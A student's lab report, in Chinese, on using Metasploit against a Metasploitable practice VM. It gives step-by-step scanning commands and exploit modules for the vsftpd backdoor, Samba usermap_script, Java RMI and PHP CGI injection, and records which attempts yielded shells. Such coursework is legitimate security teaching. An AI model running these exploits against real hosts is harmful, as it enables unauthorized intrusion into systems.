1.实验内容
1.1 实验要求
掌握Metasploit的使用方法:“Search——Use——Show——Set——Exploit/run”。
1.2 实验任务
(1)前期渗透
(2)Vsftpd源码包后门漏洞(21端口)
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
(4)Java RMI SERVER命令执行漏洞(1099端口)
(5)PHP CGI参数执行注入漏洞(80端口)
1.3 本周学习内容
本周就是在周五就已经被测试折磨得学会了metasploit,虽然最终因为各种原因没做出来,但是还是了解了整个过程以及原理,掌握了搜索对应漏洞,再通过show options来找出自己需要填的参数的万能方法(好吧也并不万能,如果受害机打了补丁修复了漏洞就无能为力了)。
2.实验过程
2.1 前期渗透
(1)主机发现(可用Aux中的arp_sweep,search一下就可以use)
在Kali中依次输入如下命令。
-
msfconsole
//进入msf控制台 -
search arp_sweep
//搜寻arp_sweep功能模块 -
use 0
//在查询结果中使用第0项模块(也可以将0换成具体模块名字) -
show options
//查找该模块目前已填入的参数(同时可以看到需要填写的参数)
可以看到必填项只剩RHOST没填,所以我们只需要去靶机查询IP地址,设置参数即可。
在靶机下载官网可知道登录靶机用户名和密码均为“msfadmin”,进入靶机。
在靶机中输入 ipconfig
。
再返回Kali输入如下命令。
-
set RHOSTS 192.168.197.148/24
//设置目标主机IP地址 -
run
//开始扫描
可能是由于写了子网掩码,扫描的其实是目标网段。可能命令里IP地址应该是一个网段。
不过不管怎样,在扫描结果中找到了靶机。
(2)端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
输入exit
退出msf控制台。在命令行中直接使用指令:
nmap -p 1-2318 192.168.197.148
//扫描靶机的1-2318端口。
可以在截图中看到开放的端口。
(3)漏洞扫描。
接着使用nmap -script=vuln 192.168.197.148
对靶机进行漏洞扫描。
可以看到靶机中存在相当多漏洞。在图片信息中提取出本次实验要用到的21、139、1099、80端口的开放信息以及漏洞信息。
2.2 Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“:)”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
在Kali中进入msf控制台,输入如下命令:
-
use exploit/unix/ftp/vsftpd_234_backdoor
//选择漏洞 -
set RHOST 192.168.197.148
//设置要攻击的机器IP(靶机IP) -
exploit/run
//开始攻击
再利用uname –a
、pwd
、id
、ifconfig
等命令进行验证是否攻击成功
可以看到已经获取靶机shell,攻击成功。
2.3 SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
在msf控制台中,输入如下命令:
-
use exploit/multi/samba/usermap_script
//选择漏洞 -
set RHOST 192.168.197.148
//设置要攻击的机器IP(靶机IP) -
exploit/run
//开始攻击
再利用ifconfig
命令进行验证是否攻击成功,可以看到攻击成功了。
2.4 Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
在msf控制台中,输入如下命令:
-
use exploit/multi/misc/java_rmi_server
//选择漏洞 -
set RHOST 192.168.197.148
//设置要攻击的机器IP(靶机IP) -
exploit/run
//开始攻击 -
ifconfig
//验证攻击是否成功
可以看到攻击成功了(其实没有)。
不知道为什么无法打开shell呢。但是又可以输入其他一些命令,看起来好像取得了部分控制权一样。
2.5 PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
在msf控制台中,输入如下命令:
-
use exploit/multi/http/php_cgi_arg_injection
//选择漏洞 -
set RHOST 192.168.197.148
//设置要攻击的机器IP(靶机IP) -
exploit/run
//开始攻击 -
shell
//尝试打开靶机shell
😦 为什么还是打不开。感觉和我的kali版本有关吧(闭目),因为之前重装kali时下的是什么purple版。
3.问题及解决方案
执行第4个和第5个任务时无法执行shell命令。
解决过程:
1.尝试用sudo apt-get install --only-upgrade metasploit-framework
更新metasploit,已经是最新版了。无效
2.了解为什么shell命令是非法参数,第一步类型错误试过了,不奏效。
于是进行第二步,看是不是默认设置的payload不适用。
更改payload后,仍然无效。
遂无法解决问题。(偷看了一眼其他同学的实验报告,全部都看一遍了,好像没出现过我这个问题。。😦)
4.学习感悟、思考等
这次实验其实和周四周五那个作业差不多,但是这次更简单,因为老师已经提前给出所有需要用的命令了,又因为周四周五拷打完已经熟悉了metasploit的流程,所以这次做起来还挺轻松的。(除了执行shell命令并不顺利以外)。好吧,网络攻防复现的过程总是会伴随着各种奇奇怪怪的问题,我已经习以为常,锻炼了个好心态!T T毕竟对我来说更重要的是了解原理,而且通过亲身实践去熟悉这个过程,无法完美复现也没办法啦,尽力就好。